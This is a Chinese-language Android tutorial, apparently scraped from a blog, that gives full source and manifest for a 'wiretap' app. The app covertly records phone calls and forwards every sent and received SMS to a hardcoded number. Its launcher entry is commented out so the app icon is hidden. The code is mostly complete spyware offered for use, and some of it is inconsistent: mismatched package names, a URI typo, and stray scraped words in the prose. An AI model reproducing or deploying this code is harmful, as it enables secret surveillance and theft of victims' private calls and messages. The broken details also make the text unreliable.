Android service 服務的應用之電話監聽器以及短信監聽器

首先創建一個項目工程文件,以下圖所示:java

首先在MainActivity.java文件啓動電話和短信的界面,代碼以下android

 1 package com.xunfang.wiretap;
 2 
 3 import com.xunfang.observer.MyObserver;
 4 import com.xunfang.services.PhoneService;
 5 
 6 import android.support.v7.app.ActionBarActivity;
 7 import android.content.Intent;
 8 import android.net.Uri;
 9 import android.os.Bundle;
10 import android.os.Handler;
11 import android.view.Menu;
12 import android.view.MenuItem;
13 
14 
15 public class MainActivity extends ActionBarActivity {
16 
17     @Override
18     protected void onCreate(Bundle savedInstanceState) {
19         super.onCreate(savedInstanceState);
20         //電話
21         setContentView(R.layout.activity_main);
22         Intent intent = new Intent(this,PhoneService.class);
23         startService(intent);
24         //短信
25         Uri uri = Uri.parse("conten://sms");
26         getContentResolver().registerContentObserver(uri, true, new MyObserver(this,new Handler()));
27         
28     }
29     @Override
30     public void onBackPressed() {
31     }
32 }

而後進入電話管理服務界面PhoeService.java界面。代碼以下數據庫

 1 package com.xunfang.phoneservice;
 2 
 3 import java.io.IOException;
 4 
 5 import android.app.Service;
 6 import android.content.Intent;
 7 import android.media.MediaRecorder;
 8 import android.os.IBinder;
 9 import android.telephony.PhoneStateListener;
10 import android.telephony.TelephonyManager;
11 
12 public class PhoneService extends Service {
13 
14     // 管理電話
15     private TelephonyManager tm;
16 
17     private MyListener listener;
18 
19     // 建立一個收音機
20     private MediaRecorder mr;
21 
22     @Override
23     public IBinder onBind(Intent intent) {
24         return null;
25     }
26 
27     @Override
28     public void onCreate() {
29         super.onCreate();
30         // 實例化
31         tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
32 
33         // 監聽電話的狀態
34         listener = new MyListener();
35         // 註冊監聽者,監聽電話的狀態
36         tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
37     }
38 
39     private class MyListener extends PhoneStateListener {
40         @Override
41         public void onCallStateChanged(int state, String incomingNumber) {
42             super.onCallStateChanged(state, incomingNumber);
43 
44             switch (state) {
45             case TelephonyManager.CALL_STATE_IDLE: // 空閒狀態
46                 System.out.println("電話空閒");
47                 if (mr != null) {
48                     // 說明錄音機中止錄音了
49                     mr.stop();
50                     mr.release();
51                     mr = null;
52                 }
53                 break;
54             case TelephonyManager.CALL_STATE_OFFHOOK: // 摘機狀態(通話狀態)
55                 System.out.println("通話狀態");
56                 // 1.建立一個收音機
57                 mr = new MediaRecorder();
58                 // 2.設置音源
59                 mr.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL); // ZET
60                 // 3.設置錄製音頻的格式
61                 mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
62                 // 4設置音頻的採樣率
63                 mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
64                 // 5.設置錄製的文件放置的位置
65                 mr.setOutputFile("/mnt/sdcard/xxx.avi");
66                 // 6.準備錄製
67                 try {
68                     mr.prepare();
69                 } catch( Exception e) {
70                     e.printStackTrace();
71                 }
72                 // 7.開始錄製
73                 mr.start();
74 
75                 break;
76             case TelephonyManager.CALL_STATE_RINGING: // 響鈴狀態
77                 System.out.println("響鈴狀態");
78                 break;
79             }
80         }
81     }
82 
83 }

而後進入管理短信服務界面MyObserver.java,代碼以下所示app

 1 package com.xunfang.observer;
 2 
 3 import java.text.SimpleDateFormat;
 4 import java.util.Date;
 5 
 6 import android.content.ContentResolver;
 7 import android.content.Context;
 8 import android.database.ContentObserver;
 9 import android.database.Cursor;
10 import android.net.Uri;
11 import android.os.Handler;
12 import android.telephony.SmsManager;
13 
14 public class MyObserver extends ContentObserver {
15     private Context context;
16     public MyObserver(Context context,Handler handler) {
17         super(handler);
18         this.context = context;
19     }
20     
21     @Override
22      public void onChange(boolean selfChange, Uri uri) {
23         ContentResolver resolver = context.getContentResolver();
24         Cursor cursor = resolver.query(uri, new String[]{"address","body","type","date"}, null, null, "date desc");
25         cursor.moveToFirst();
26         String address = cursor.getString(0);
27         String body = cursor.getString(1);
28         int type = cursor.getInt(2);
29         long date = cursor.getLong(3);
30         //將日期格式化,按這個模式輸出日期
31         String time = new SimpleDateFormat("yyy-MM-dd hh:mm:ss").format(new Date(date));
32         //type=1,表示發送短信,而type=2是表示接收短信,這個能夠默認系統短信的數據庫表導出來看一下
33         if(type ==2 ){
34             String sms = "檢測的到對方的手機發送信息: 地址:" + address + " 內容:" + body + "時間 :" + time;
35             String phone = "18883278692";  //這個電話號碼是你要將這個信息發送到哪一個人的電話號碼
36             //拿到默認短信管理器
37             SmsManager sm = SmsManager.getDefault();
38             //發送短信
39             sm.sendTextMessage(phone, null, sms, null, null) ;
40             System.out.println("檢測的到對方的手機發送信息: 地址:" + address + " 內容:" + body + "時間 :" + time );
41         }
42         if(type == 1){
43             String sms = "檢測的到對方的手機接收到的信息: 地址:" + address + " 內容:" + body + "時間 :" + time;
44             String phone = "18883278692";      //這個電話號碼是你要將這個信息發送到哪一個人的電話號碼
45             SmsManager sm = SmsManager.getDefault();
46             sm.sendTextMessage(phone, null, sms, null, null) ;
47             System.out.println("檢測的到對方的手機接收到的信息: 地址:" + address + " 內容:" + body + "時間 :" + time );
48         }
49      }
50 
51 
52 }

代碼到這裏就差很少了,不過千萬不要忘了添加權限和服務的申明,在AndroidManifest.xml配置以下ide

 1 <?xml version="1.0" encoding="utf-8"?>
 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
 3     package="com.xunfang.wiretap"
 4     android:versionCode="1"
 5     android:versionName="1.0" >
 6 
 7     <uses-sdk
 8         android:minSdkVersion="8"
 9         android:targetSdkVersion="21" />
10     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
11     <uses-permission android:name="android.permission.RECORD_AUDIO"/>
12     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
13     <uses-permission android:name="android.permission.INTERNET"/>
14     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
15     <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
16     <uses-permission android:name="android.permission.WRITE_SMS"/>
17     <uses-permission android:name="android.permission.READ_SMS"/>
18     <uses-permission android:name="android.permission.SEND_SMS"/>
19 
20     <application
21         android:allowBackup="true"
22         android:icon="@drawable/ic_launcher"
23         android:label="@string/app_name"
24         android:theme="@style/AppTheme" >
25        <!--  <activity
26             android:name=".MainActivity"
27             android:label="@string/app_name" >
28             <intent-filter>
29                 <action android:name="android.intent.action.MAIN" />
30 
31                 <category android:name="android.intent.category.LAUNCHER" />
32             </intent-filter>
33         </activity> -->
34         <service 
35             android:name="com.xunfang.services.PhoneService"></service>
36          <receiver 
37             android:name="com.xunfang.broadrecevice.MyBroadReceiver"
38             >
39             <intent-filter >
40                 <action 
41                     android:name="android.intent.action.NEW_OUTGOING_CALL"
42                     />
43             </intent-filter>
44         </receiver>
45     </application>
46 
47 </manifest>

到這裏已經所有配置完成,能夠用真實機進行測試。測試

相關文章
相關標籤/搜索